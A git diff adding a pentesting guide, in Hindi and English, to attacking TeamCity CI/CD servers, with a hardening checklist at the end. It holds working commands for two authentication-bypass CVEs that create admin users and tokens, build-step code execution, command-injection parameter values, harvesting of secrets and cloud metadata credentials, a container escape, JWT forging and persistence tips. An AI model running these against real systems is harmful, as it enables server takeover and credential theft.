diff --git a/src/pentesting-ci-cd/teamcity-security/README.md b/src/pentesting-ci-cd/teamcity-security/README.md
new file mode 100644
index 000000000..e5a4ef141
--- /dev/null
+++ b/src/pentesting-ci-cd/teamcity-security/README.md
@@ -0,0 +1,650 @@
+# TeamCity Security
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+[TeamCity](https://www.jetbrains.com/teamcity/) JetBrains का CI/CD server है। यह **TeamCity Cloud** या **TeamCity On-Premises** के रूप में चल सकता है। असली environments में on-premises product सबसे interesting target होता है क्योंकि यह आम तौर पर private repositories, deployment credentials, internal networks, और cloud build agents से जुड़ा होता है।
+
+एक TeamCity installation आमतौर पर इन चीज़ों से बनी होती है:
+
+- **TeamCity server**: Java web application और scheduler। यह users, permissions, projects, build configurations, VCS roots, tokens, artifacts metadata, build history, और integrations store करता है। default HTTP port **8111** है।
+- **Projects and subprojects**: build configurations, templates, parameters, VCS roots, connections, और permissions के लिए containers।
+- **Build configurations**: jobs जो VCS checkout rules, triggers, build steps, agent requirements, artifact rules, snapshot dependencies, और artifact dependencies define करती हैं।
+- **Pipelines / Kotlin DSL / XML settings**: build configuration को UI में manage किया जा सकता है या VCS में store किया जा सकता है, आम तौर पर `.teamcity/` directory में Kotlin DSL का उपयोग करके।
+- **Build agents**: worker machines जो server को poll करती हैं, code checkout करती हैं, build settings और secrets receive करती हैं, build steps run करती हैं, और logs/artifacts वापस server पर publish करती हैं। एक agent सामान्यतः एक समय में एक build चलाता है और physical, VM, container, या cloud-launched हो सकता है।
+- **Agent pools**: यह restrict करने का तरीका कि कौन-से projects किन agents पर run कर सकते हैं। यह critical है जब public/untrusted builds और production deployment builds साथ-साथ मौजूद हों।
+- **VCS roots and connections**: GitHub, GitLab, Bitbucket, Azure DevOps, Perforce, Subversion, और अन्य repository integrations। इनमें अक्सर PATs, refreshable tokens, SSH keys, या OAuth-backed tokens होते हैं।
+- **Build parameters**: configurations और builds के लिए उपलब्ध values। `env.*` parameters environment variables बन जाते हैं, `system.*` parameters system properties बन जाते हैं, और password parameters masked होते हैं लेकिन फिर भी build code द्वारा उपयोग किए जा सकते हैं।
+
+> [!WARNING]
+> TeamCity खुद दस्तावेज़ करता है कि जिन users के पास builds द्वारा executed code बदलने की क्षमता है, वे वही कर सकते हैं जो build-agent OS user कर सकता है, agent पर resources access कर सकते हैं, उन configurations की settings retrieve कर सकते हैं जहाँ उनके builds run होते हैं, और potentially उन्हीं agents को share करने वाले अन्य projects को affect कर सकते हैं।
+
+## Interesting Ports, Paths & Files
+```bash
+# Common TeamCity web ports
+8111/tcp   # Default HTTP TeamCity server
+80/tcp     # Often reverse-proxied TeamCity
+443/tcp    # HTTPS reverse proxy or configured HTTPS
+```
+दिलचस्प URLs:
+```text
+/login.html
+/app/rest/server
+/app/rest/swagger.json
+/guestAuth/app/rest/server
+/guestAuth/repository/download/<BuildConfig>/<BuildID>:id/<artifact>
+/admin/admin.html
+/admin/diagnostic.jsp
+/admin/agents.html
+/admin/plugins.html
+```
+सर्वर compromise के बाद दिलचस्प local paths:
+```text
+# Linux defaults seen in common installs
+/opt/TeamCity/logs/
+/opt/TeamCity/webapps/ROOT/plugins/
+/home/teamcity/.BuildServer/config/
+/home/teamcity/.BuildServer/plugins/
+/home/teamcity/.BuildServer/system/artifacts/
+/home/teamcity/.BuildServer/system/buildserver.data
+
+# Windows defaults seen in common installs
+C:\TeamCity\logs\
+C:\TeamCity\webapps\ROOT\plugins\
+C:\ProgramData\JetBrains\TeamCity\config\
+C:\ProgramData\JetBrains\TeamCity\plugins\
+C:\ProgramData\JetBrains\TeamCity\system\artifacts\
+C:\ProgramData\JetBrains\TeamCity\system\buildserver.data
+```
+एजेंट compromise के बाद interesting local paths:
+```text
+<AGENT_HOME>/conf/buildAgent.properties
+<AGENT_HOME>/logs/
+<AGENT_HOME>/work/
+<AGENT_HOME>/temp/
+<AGENT_HOME>/system/
+~/.git-credentials
+~/.ssh/
+~/.docker/config.json
+~/.npmrc
+~/.m2/settings.xml
+~/.aws/
+~/.config/gcloud/
+```
+## TeamCity Permissions To Care About
+
+सटीक permission model को customize किया जा सकता है, लेकिन महत्वपूर्ण default roles ये हैं:
+
+- **System Administrator**: full server control. मान लें कि server OS compromise संभव है क्योंकि admins server settings बदल सकते हैं, plugins upload कर सकते हैं, और diagnostics access कर सकते हैं।
+- **Project Administrator**: एक project को नियंत्रित करता है और आमतौर पर उस project के अंदर build configurations, parameters, VCS roots, features, triggers, और agent requirements create/edit कर सकता है।
+- **Project Developer**: आमतौर पर configuration settings देख सकता है, builds चला सकता है, और build results के साथ interact कर सकता है। यह फिर भी sensitive हो सकता है क्योंकि configuration settings और runtime data अक्सर secrets disclose करते हैं।
+- **Project Viewer / Guest**: read-only access फिर भी build logs, artifacts, project names, branch names, internal hostnames, और dependency paths expose कर सकता है।
+
+> [!TIP]
+> During a pentest, "low-privileged TeamCity user" पर ही रुकें नहीं। Check करें कि क्या वह user custom builds run कर सकता है, branches select कर सकता है, parameters customize कर सकता है, settings view कर सकता है, runtime parameters view कर सकता है, artifacts download कर सकता है, या deployment configurations trigger कर सकता है।
+
+## Initial Enumeration
+
+### Fingerprint Exposed TeamCity
+```bash
+export TC="http://teamcity.example.com:8111"
+
+curl -i "$TC/login.html"
+curl -i "$TC/app/rest/server"
+curl -i "$TC/guestAuth/app/rest/server"
+curl -s "$TC/app/rest/swagger.json" | head
+```
+उपयोगी संकेत:
+
+- `TeamCity-Node-Id` HTTP header.
+- Login page branding.
+- `/app/rest/server` authentication की आवश्यकता होने पर `401` return करता है।
+- अगर guest access enabled है, तो `/guestAuth/app/rest/server` काम करता है।
+
+### REST API Enumeration With A Token
+
+TeamCity REST API आमतौर पर `Authorization: Bearer <token>` का उपयोग करती है।
+```bash
+export TC="https://teamcity.example.com"
+export TCTOKEN="TC..."
+
+alias tcurl='curl -sk -H "Authorization: Bearer $TCTOKEN" -H "Accept: application/json"'
+
+tcurl "$TC/app/rest/server"
+tcurl "$TC/app/rest/users/current"
+tcurl "$TC/app/rest/users/current/roles"
+tcurl "$TC/app/rest/projects?fields=project(id,name,parentProjectId,href,webUrl)"
+tcurl "$TC/app/rest/buildTypes?fields=buildType(id,name,projectId,paused,webUrl)"
+tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))"
+tcurl "$TC/app/rest/agents?fields=agent(id,name,type,connected,enabled,authorized,ip,href,pool(name),properties(property(name,value)))"
+tcurl "$TC/app/rest/agentPools"
+tcurl "$TC/app/rest/builds?locator=count:20&fields=build(id,number,status,state,branchName,buildTypeId,webUrl)"
+```
+एक build configuration के लिए:
+```bash
+export BT="id:Project_Build"
+
+tcurl "$TC/app/rest/buildTypes/$BT"
+tcurl "$TC/app/rest/buildTypes/$BT/parameters"
+tcurl "$TC/app/rest/buildTypes/$BT/steps"
+tcurl "$TC/app/rest/buildTypes/$BT/features"
+tcurl "$TC/app/rest/buildTypes/$BT/triggers"
+tcurl "$TC/app/rest/buildTypes/$BT/agent-requirements"
+tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies"
+tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies"
+tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents"
+```
+### Guest Access Abuse
+
+यदि guest login enabled है, तो TeamCity `/guestAuth/` URLs support करता है। By default, guest users के पास सभी projects के लिए Project Viewer role होता है, जब तक कि इसे बदला न जाए।
+```bash
+curl -sk "$TC/guestAuth/app/rest/projects"
+curl -sk "$TC/guestAuth/app/rest/buildTypes"
+curl -sk "$TC/guestAuth/app/rest/builds?locator=count:50"
+```
+देखें:
+
+- Build logs जिनमें secrets गलती से print हो गए हों।
+- ऐसे Artifacts जिनमें `.env`, packages, SBOMs, deployment manifests, Terraform plans, kubeconfigs, test reports, database dumps, या internal URLs हों।
+- Project/build names जो cloud account names, production systems, regions, या internal service names उजागर करते हों।
+- Commit metadata जो privileged developers या service users की पहचान बताता हो।
+
+Example artifact download format:
+```bash
+curl -O "$TC/guestAuth/repository/download/Project_Build/12345:id/artifact.zip"
+```
+## Attacks
+
+### Unauthenticated Takeover: CVE-2024-27198 / CVE-2024-27199
+
+TeamCity On-Premises versions **through 2023.11.3** दो authentication bypasses से affected थीं, जिन्हें **2023.11.4** में fixed किया गया। CVE-2024-27198 critical वाला है क्योंकि यह authenticated REST endpoints को unauthenticated attackers के लिए expose कर सकता है।
+
+bypass को एक harmless authenticated endpoint के साथ fingerprint करें:
+```bash
+curl -ik "$TC/hax?jsp=/app/rest/server;.jsp"
+```
+यदि server metadata बिना authentication के वापस मिलता है, तो instance vulnerable है। एक common takeover path है admin user बनाना या किसी existing admin user के लिए token mint करना:
+```bash
+curl -ik "$TC/hax?jsp=/app/rest/users;.jsp" \
+-X POST \
+-H "Content-Type: application/json" \
+--data '{"username":"tc-redteam","password":"ChangeMe-12345!","email":"tc-redteam@example.com","roles":{"role":[{"roleId":"SYSTEM_ADMIN","scope":"g"}]}}'
+```
+
+```bash
+curl -ik "$TC/hax?jsp=/app/rest/users/id:1/tokens/RedTeamToken;.jsp" -X POST
+```
+इसके बाद, एक authenticated TeamCity administrator के रूप में जारी रखें: projects enumerate करें, secrets collect करें, agents पर builds execute करें, artifacts inspect करें, और agents से cloud access check करें।
+
+### Unauthenticated Takeover: CVE-2023-42793
+
+TeamCity On-Premises versions **2023.05.4** से पहले CVE-2023-42793 से प्रभावित थीं। इसका practical impact unauthenticated administrator-level access और TeamCity APIs के through RCE था। widely abused path में `/RPC2` पर ending वाली route के through token creation शामिल था।
+```bash
+curl -ik -X POST "$TC/app/rest/users/id:1/tokens/RPC2"
+```
+यदि आप incident impact का आकलन कर रहे हैं, तो exposure window के आसपास suspicious token creation, admin account creation, plugin upload/delete events, और process execution के लिए जांच करें।
+
+### Admin RCE By Uploading A Plugin
+
+TeamCity server plugins ZIP packages होते हैं जो server functionality को extend करते हैं। एक System Administrator UI से **Administration -> Plugins** के तहत plugin upload कर सकता है, उसे load कर सकता है, और server-side Java code execute कर सकता है।
+
+Abuse cases:
+
+- **TeamCity server** पर सीधे RCE के लिए malicious plugin upload करना, सिर्फ agent पर नहीं।
+- plugin load/delete को short-lived execution path के रूप में use करना।
+- internal integration जैसा दिखने वाले plugin के through persistence establish करना।
+
+Evidence to inspect:
+```text
+teamcity-activities.log
+teamcity-server.log
+<TeamCity Data Directory>/plugins/
+<TeamCity Data Directory>/config/disabled-plugins.xml
+<TeamCity Data Directory>/system/caches/plugins.unpacked/
+<TeamCity Home>/webapps/ROOT/plugins/
+```
+### Build Steps को Create या Modify करके RCE
+
+यदि आप कोई build configuration create या edit कर सकते हैं, तो TeamCity agent आपका command execution target है। **Command Line / Script** runner सबसे direct option है।
+
+REST के माध्यम से एक command line step add करें:
+```bash
+curl -sk "$TC/app/rest/buildTypes/$BT/steps" \
+-X POST \
+-H "Authorization: Bearer $TCTOKEN" \
+-H "Content-Type: application/json" \
+-H "Accept: application/json" \
+--data '{
+"name": "diagnostics",
+"type": "simpleRunner",
+"properties": {
+"property": [
+{"name": "script.content", "value": "id; uname -a; env | sort"}
+]
+}
+}'
+```
+बिल्ड शुरू करें:
+```bash
+curl -sk "$TC/app/rest/buildQueue" \
+-X POST \
+-H "Authorization: Bearer $TCTOKEN" \
+-H "Content-Type: application/json" \
+-H "Accept: application/json" \
+--data '{"buildType":{"id":"Project_Build"}}'
+```
+एक agent पर उपयोगी पहले commands:
+```bash
+id
+hostname
+pwd
+env | sort
+mount
+ip addr || ifconfig
+ip route || route print
+find "$PWD" -maxdepth 3 -type f -name "*.env" -o -name "settings.xml" -o -name "config.json"
+```
+Windows agents:
+```powershell
+whoami /all
+hostname
+Get-ChildItem Env: | Sort-Object Name
+ipconfig /all
+route print
+Get-ChildItem -Recurse -Force $env:USERPROFILE\.ssh,$env:USERPROFILE\.aws -ErrorAction SilentlyContinue
+```
+### एक अधिक दिलचस्प Agent को Target करें
+
+Build configurations में agent requirements हो सकते हैं, और custom builds किसी specific agent को select करने की अनुमति दे सकते हैं। यह तब महत्वपूर्ण है जब किसी एक agent के पास production network reachability, Docker access, mobile signing keys, cloud roles, या deployment tooling हो।
+
+Compatible agents को enumerate करें:
+```bash
+tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents?fields=agent(id,name,ip,pool(name),properties(property(name,value)))"
+```
+यदि आपकी permissions इसकी अनुमति देती हैं, तो किसी specific agent पर एक build queue करें:
+```bash
+curl -sk "$TC/app/rest/buildQueue" \
+-X POST \
+-H "Authorization: Bearer $TCTOKEN" \
+-H "Content-Type: application/json" \
+-H "Accept: application/json" \
+--data '{"buildType":{"id":"Project_Build"},"agent":{"id":"42"}}'
+```
+या फिर किसी valuable agent class को force करने के लिए एक agent requirement जोड़ें:
+```bash
+curl -sk "$TC/app/rest/buildTypes/$BT/agent-requirements" \
+-X POST \
+-H "Authorization: Bearer $TCTOKEN" \
+-H "Content-Type: application/json" \
+-H "Accept: application/json" \
+--data '{
+"type":"equals",
+"properties":{"property":[
+{"name":"property-name","value":"teamcity.agent.name"},
+{"name":"property-value","value":"prod-deploy-agent-01"}
+]}
+}'
+```
+### Dump Build Parameters & Password Parameters
+
+Parameters परियोजनाओं और templates से inherited होते हैं, इसलिए दोनों project और build configuration scopes को enumerate करें:
+```bash
+tcurl "$TC/app/rest/projects/id:Project/parameters"
+tcurl "$TC/app/rest/buildTypes/id:Project_Build/parameters"
+```
+दिलचस्प नाम:
+```text
+env.AWS_ACCESS_KEY_ID
+env.AWS_SECRET_ACCESS_KEY
+env.GITHUB_TOKEN
+env.NPM_TOKEN
+env.DOCKER_AUTH_CONFIG
+system.deploy.password
+system.oauth.clientSecret
+vcsroot.<id>.password
+teamcity.configuration.properties.file
+```
+महत्वपूर्ण caveats:
+
+- Password parameters UI/logs में masked होते हैं, लेकिन कोई भी code जो उन्हें legitimately receive करता है, उन्हें exfiltrate या transform कर सकता है।
+- Project administrators अक्सर settings access के through raw parameter values retrieve कर सकते हैं।
+- TeamCity security notes warn करते हैं कि जो users build code modify कर सकते हैं, वे उस build में used password values retrieve कर सकते हैं।
+- अगर versioned settings VCS में stored हैं, तो settings repo access वाले users server encryption configuration और key exposure के depending scrambled/encrypted settings से values recover कर सकते हैं।
+
+Build-step exfil pattern:
+```bash
+python3 - <<'PY'
+import base64, os, json
+interesting = {k:v for k,v in os.environ.items() if any(x in k.upper() for x in ["TOKEN","SECRET","PASSWORD","KEY","AWS","AZURE","GOOGLE","GITHUB","NPM","DOCKER"])}
+print(base64.b64encode(json.dumps(interesting).encode()).decode())
+PY
+```
+### Poison Versioned Settings / Kotlin DSL
+
+यदि versioned settings enabled हैं और आप उस branch/repository में write कर सकते हैं जिस पर TeamCity `.teamcity/` के लिए trust करता है, तो आप खुद pipeline definition को modify कर सकते हैं।
+
+Typical targets:
+
+- एक नया `script` step किसी build configuration में add करें।
+- `agentRequirements` बदलकर ज्यादा privileged agent पर run करें।
+- sensitive files publish करने के लिए artifact rules add करें।
+- दूसरे build से data pull करने के लिए snapshot/artifact dependencies add करें।
+- persistence के लिए VCS triggers add करें।
+- VCS roots या checkout rules बदलें।
+
+Minimal Kotlin DSL malicious step:
+```kotlin
+import jetbrains.buildServer.configs.kotlin.*
+import jetbrains.buildServer.configs.kotlin.buildSteps.script
+
+object Build : BuildType({
+name = "Build"
+steps {
+script {
+name = "diagnostics"
+scriptContent = "id; env | base64"
+}
+}
+})
+```
+> [!CAUTION]
+> यह TeamCity की सबसे उच्च-प्रभाव वाली misconfigurations में से एक है: build settings को application source के same repository में store करने का मतलब है कि source branch को बदलने वाला कोई भी व्यक्ति CI/CD control plane को भी बदलने में सक्षम हो सकता है।
+
+### Pull Request / Untrusted Build Abuse
+
+TeamCity GitHub, GitLab, Bitbucket, Azure DevOps, और JetBrains Space से pull requests build कर सकता है। अगर एक public repository को **Everybody** से pull requests build करने के लिए configured किया गया है, तो एक external attacker PR खोलकर TeamCity agent पर code execution पा सकता है।
+
+इन चीज़ों की जाँच करें:
+
+- Pull Requests build feature with permissive author filters.
+- `refs/pull/*` जैसे pull request branches से matching VCS triggers.
+- Missing or disabled **Untrusted Builds** review.
+- PR builds trusted/prod builds के same pools पर चल रहे हैं।
+- Password parameters या deployment credentials PR builds के लिए उपलब्ध हैं।
+- Versioned settings जो PR branches से loaded हैं।
+
+untrusted code से abuse primitives:
+```bash
+env | sort
+echo "##teamcity[publishArtifacts '$PWD => workspace.zip']"
+echo "##teamcity[setParameter name='env.PATH' value='/tmp/bin:%env.PATH%']"
+```
+साथ ही उन build scripts की समीक्षा करें जो PR-controlled values को interpolate करते हैं:
+```text
+%teamcity.pullRequest.title%
+%teamcity.pullRequest.source.branch%
+%teamcity.pullRequest.target.branch%
+%teamcity.build.branch%
+```
+यदि उन मानों को बिना quoting/validation के shell, PowerShell, SQL, Docker tags, package names, या deployment arguments में insert किया जाता है, तो command injection और logic manipulation test करें।
+
+### Run Custom Build Parameter Injection
+
+जिन users के पास build configuration को edit करने की अनुमति नहीं है, वे फिर भी modified branch, agent, या parameter values के साथ custom builds run करने में सक्षम हो सकते हैं।
+```bash
+curl -sk "$TC/app/rest/buildQueue" \
+-X POST \
+-H "Authorization: Bearer $TCTOKEN" \
+-H "Content-Type: application/json" \
+-H "Accept: application/json" \
+--data '{
+"buildType":{"id":"Project_Build"},
+"branchName":"refs/heads/attacker-controlled-branch",
+"properties":{"property":[
+{"name":"env.DEPLOY_ENV","value":"prod; id #"},
+{"name":"system.release.version","value":"1.2.3$(id)"}
+]}
+}'
+```
+इस तरह के scripts देखें:
+```bash
+deploy --env %env.DEPLOY_ENV%
+docker build -t registry/app:%system.release.version% .
+git checkout %teamcity.build.branch%
+```
+### Service Message Abuse
+
+TeamCity build steps से specially formatted output parse करता है। अगर attacker-controlled code किसी build में चलता है, तो यह बाद के steps और build की server-side समझ को influence कर सकता है।
+
+Useful messages:
+```bash
+# Publish arbitrary files as artifacts
+echo "##teamcity[publishArtifacts '/etc/passwd => loot/system.txt']"
+
+# Modify parameters for following steps
+echo "##teamcity[setParameter name='env.NEXT_STEP_FLAG' value='attacker-controlled']"
+
+# Poison the build number displayed/published downstream
+echo "##teamcity[buildNumber '9999-backdoored']"
+
+# Hide noisy output in collapsed blocks
+echo "##teamcity[blockOpened name='integration tests']"
+echo "##teamcity[blockClosed name='integration tests']"
+```
+यह तब और अधिक खतरनाक हो जाता है जब downstream release jobs, upstream job से आने वाले build status, build number, tags, artifact names, या output parameters पर भरोसा करते हैं।
+
+### Artifact & Dependency Poisoning
+
+TeamCity build chains अक्सर builds के बीच artifacts को move करती हैं। यदि आप किसी upstream build को influence कर सकते हैं जो artifacts publish करती है जिन्हें एक privileged downstream build consume करता है, तो इन्हें poison करने की कोशिश करें:
+
+- JAR/WAR/NuGet/npm/PyPI packages.
+- Docker build contexts.
+- Terraform plan files.
+- Helm charts और Kubernetes manifests.
+- SBOM/provenance files.
+- Test fixtures या generated code जिन्हें बाद के steps consume करते हैं।
+
+एक build से एक controlled artifact publish करें:
+```bash
+mkdir -p out
+cp payload.jar out/app.jar
+echo "##teamcity[publishArtifacts 'out/** => release.zip']"
+```
+फिर artifact dependencies का निरीक्षण करें:
+```bash
+tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies"
+tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies"
+```
+### Agent Cloud Pivoting
+
+अगर agent AWS, Azure, GCP, Kubernetes, या internal VM network में चलता है, तो build एक pivot point है।
+
+AWS IMDS:
+```bash
+TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
+curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
+ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
+curl -s -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"
+```
+IMDSv1 की अनुमति होने पर Fallback:
+```bash
+ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
+curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"
+```
+Azure IMDS:
+```bash
+curl -s -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
+curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
+```
+GCP metadata:
+```bash
+curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
+SA=$(curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/")
+curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${SA}token"
+```
+Kubernetes:
+```bash
+ls -la /var/run/secrets/kubernetes.io/serviceaccount/
+cat /var/run/secrets/kubernetes.io/serviceaccount/token
+cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
+```
+Docker escape checks:
+```bash
+ls -la /var/run/docker.sock
+docker ps
+docker run --rm -it -v /:/host alpine chroot /host sh
+```
+### आंतरिक सेवाओं में Pivot करना
+
+Build agents अक्सर package registries, artifact stores, deployment APIs, databases, और internal admin panels तक पहुंच रख सकते हैं।
+```bash
+for h in vault.service.consul nexus.internal registry.internal kube-api.internal grafana.internal; do
+echo "### $h"
+curl -sk --connect-timeout 2 "https://$h/" | head
+done
+```
+TeamCity parameters, cloud secret stores, artifacts, या repo files से shared JWT/HMAC secret चुराने के बाद, weak internal services के लिए tokens forge करें:
+```python
+import jwt, time
+secret = "leaked-hs256-secret"
+payload = {"sub":"admin","role":"admin","iat":int(time.time()),"exp":int(time.time())+3600}
+print(jwt.encode(payload, secret, algorithm="HS256"))
+```
+### VCS Root & Repository Credential Abuse
+
+VCS roots और connections अक्सर TeamCity से भी ज़्यादा valuable होते हैं।
+
+देखें:
+
+- username/password या PAT का उपयोग करने वाले HTTP(S) VCS roots।
+- TeamCity में uploaded SSH private keys।
+- GitHub App / OAuth / refreshable token connections।
+- Commit Status Publisher tokens।
+- Pull Request feature tokens।
+- Build steps जो repositories, tags, releases, packages, या workflow files में write करते हैं।
+
+REST enumeration:
+```bash
+tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))"
+tcurl "$TC/app/rest/projects/id:Project/features"
+```
+Post-compromise प्रभाव:
+
+- repositories पर malicious commits/tags push करें।
+- release tags move करें।
+- malicious package versions publish करें।
+- private repos पढ़ें जिन तक tester की मूल रूप से access नहीं थी।
+- GitHub Actions जैसी किसी दूसरी platform के लिए CI/CD config add करें।
+- अगर service identity के पास write access है, तो उसका उपयोग करके PRs open/merge करें।
+
+### Debug & Diagnostics Endpoints
+
+कुछ dangerous debug functionality admin permissions और internal properties से guarded होती है। अगर enabled हो, तो यह TeamCity database या process execution expose कर सकती है।
+
+Example database query setting:
+```properties
+rest.debug.database.allow.query.prefixes=select
+```
+यदि यह enabled है, तो एक admin token internal data query कर सकता है:
+```bash
+curl -sk "$TC/app/rest/debug/database/query/SELECT+ID,USERNAME,PASSWORD+FROM+USERS" \
+-H "Authorization: Bearer $TCTOKEN"
+```
+Also inspect whether `/app/rest/debug/processes` आपकी role से reachable है। किसी भी enabled debug endpoint को potential direct server compromise path मानें।
+
+### Agent-Server Trust & Rogue Agent Angles
+
+Agents server को poll करते हैं और build settings, repository sources, access credentials/keys, build logs, और artifact data receive करते हैं। अगर agent-to-server communication plain HTTP है या attacker network path को control करता है, तो secrets और source code expose हो सकते हैं।
+
+Check:
+```bash
+grep -i '^serverUrl=' <AGENT_HOME>/conf/buildAgent.properties
+grep -i 'authorizationToken\|name=' <AGENT_HOME>/conf/buildAgent.properties
+```
+Abuse paths:
+
+- एक agent को compromise करें और यदि agents reuse होते हैं तो अन्य projects के लिए work directories inspect करें।
+- यदि clean checkout enforce नहीं है, तो बाद के builds के लिए checked-out source या cached dependencies को modify करें।
+- agent authorization token/configuration चुरा लें।
+- यदि आपके पास project agents को authorize करने की permissions हैं या admins नए agents को automatically authorize करते हैं, तो एक rogue agent register करें।
+- एक compromised host से existing agent की impersonation करें।
+
+### Logs, Artifacts & Data Directory As Secrets
+
+TeamCity security notes explicitly warn that TeamCity Data Directory, server logs, या build artifacts तक read access secrets expose कर सकती है या administrator escalation का कारण बन सकती है।
+
+एक specific escalation path है **Super User Access**: TeamCity system administrator के रूप में login करने की अनुमति दे सकता है, with a token जो `teamcity-server.log` में लिखा जाता है। यदि logs को weakly protected log platform पर ship किया जाता है या non-admin OS users द्वारा पढ़ा जा सकता है, तो super-user tokens search करें।
+
+Hunt:
+```bash
+grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" /opt/TeamCity/logs 2>/dev/null
+grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" ~/.BuildServer/config ~/.BuildServer/system/artifacts 2>/dev/null
+```
+Build logs में अक्सर ये शामिल होते हैं:
+
+- Expanded command lines.
+- Failed deployment commands with credentials in arguments.
+- Docker login output.
+- npm/pip/maven publishing errors.
+- Cloud CLI debug output.
+- Internal service URLs.
+
+### Persistence Ideas
+
+Authorized red team assessment के दौरान उपयोगी persistence techniques:
+
+- किसी service/admin user के तहत एक plausible name वाला access token बनाएँ।
+- किसी कम review होने वाली configuration में low-noise build trigger जोड़ें।
+- किसी existing deployment step द्वारा उपयोग किए जाने वाले project parameter को जोड़ें।
+- एक hidden या disabled build step जोड़ें जिसे बाद में re-enable किया जा सके।
+- किसी legitimate project के तहत एक नया VCS root या connection जोड़ें।
+- ऐसा plugin जोड़ें जो internal integration जैसा लगे।
+- एक नया agent pool / cloud profile / agent requirement जोड़ें जो builds को attacker-controlled infrastructure की ओर route करे।
+- settings repository में Kotlin DSL modify करें।
+
+TeamCity compromise के बाद defenders को क्या review करना चाहिए:
+```text
+teamcity-activities.log
+teamcity-server.log
+teamcity-javaLogging*.log
+User access tokens
+Recently created users/groups/roles
+Plugin upload/load/delete events
+Build configuration diffs
+Versioned settings commits
+VCS root credential changes
+Agent authorization changes
+Build triggers and schedules
+Suspicious artifact publications
+```
+## Hardening Checklist
+
+- TeamCity On-Premises को पूरी तरह updated रखें; पुराने auth bypasses वाले exposed servers high-value targets होते हैं।
+- मजबूत access controls, SSO/MFA, network filtering, और rapid patching के बिना TeamCity को सीधे internet पर expose न करें।
+- Production servers पर Guest Login disable करें।
+- अगर server logs export किए जाते हैं या broadly readable हैं, तो `teamcity.superUser.disable=true` के साथ Super User Access disable करें।
+- broad Project Administrator grants की बजाय least-privilege groups और custom roles का उपयोग करें।
+- REST automation के लिए short-lived scoped tokens का उपयोग करें।
+- अगर versioned settings का उपयोग कर रहे हैं, तो build settings को अलग protected repository में रखें।
+- forks से आने वाले PR builds को hostile मानें; Untrusted Builds, manual approval, और isolated disposable agents का उपयोग करें।
+- public/untrusted builds को dedicated agent pools के साथ deployment builds से अलग रखें।
+- sensitive builds के लिए disposable agents का उपयोग करें और clean checkout enforce करें।
+- parameters में long-lived cloud/static credentials से बचें; जहाँ संभव हो cloud OIDC/workload identity को प्राथमिकता दें।
+- AWS agents पर IMDSv2 require करें और containers से metadata access restrict करें।
+- agents को low-privileged OS users के रूप में चलाएँ और जब तक strictly required न हो Docker socket mount करने से बचें।
+- agent-to-server traffic के लिए HTTPS उपयोग करें।
+- plugin installation को trusted admins तक सीमित करें और plugin changes review करें।
+- server logs और TeamCity Data Directory को केवल TeamCity server OS account और admins के लिए readable रखें।
+- secure values के लिए default scrambling mechanism पर निर्भर रहने की बजाय custom encryption key का उपयोग करें।
+- investigation के लिए build history/logs retain करें और builds delete करने की permissions restrict करें।
+
+## References
+
+- [JetBrains - TeamCity Build Agents](https://www.jetbrains.com/help/teamcity/build-agent.html)
+- [JetBrains - TeamCity REST API](https://www.jetbrains.com/help/teamcity/rest/teamcity-rest-api-documentation.html)
+- [JetBrains - Manage Build Configuration Details via REST](https://www.jetbrains.com/help/teamcity/rest/manage-build-configuration-details.html)
+- [JetBrains - Build Parameters](https://www.jetbrains.com/help/teamcity/configuring-build-parameters.html)
+- [JetBrains - Typed / Password Parameters](https://www.jetbrains.com/help/teamcity/typed-parameters.html)
+- [JetBrains - Security Notes](https://www.jetbrains.com/help/teamcity/security-notes.html)
+- [JetBrains - Pull Requests](https://www.jetbrains.com/help/teamcity/pull-requests.html)
+- [JetBrains - Untrusted Builds](https://www.jetbrains.com/help/teamcity/untrusted-builds.html)
+- [JetBrains - Service Messages](https://www.jetbrains.com/help/teamcity/service-messages.html)
+- [JetBrains - TeamCity Data Directory](https://www.jetbrains.com/help/teamcity/teamcity-data-directory.html)
+- [JetBrains - Installing Additional Plugins](https://www.jetbrains.com/help/teamcity/installing-additional-plugins.html)
+- [JetBrains - CVE-2024-27198 and CVE-2024-27199 advisory](https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/)
+- [Rapid7 - CVE-2024-27198 and CVE-2024-27199 technical analysis](https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/)
+- [SonarSource - CVE-2023-42793 TeamCity vulnerability](https://www.sonarsource.com/blog/teamcity-vulnerability)
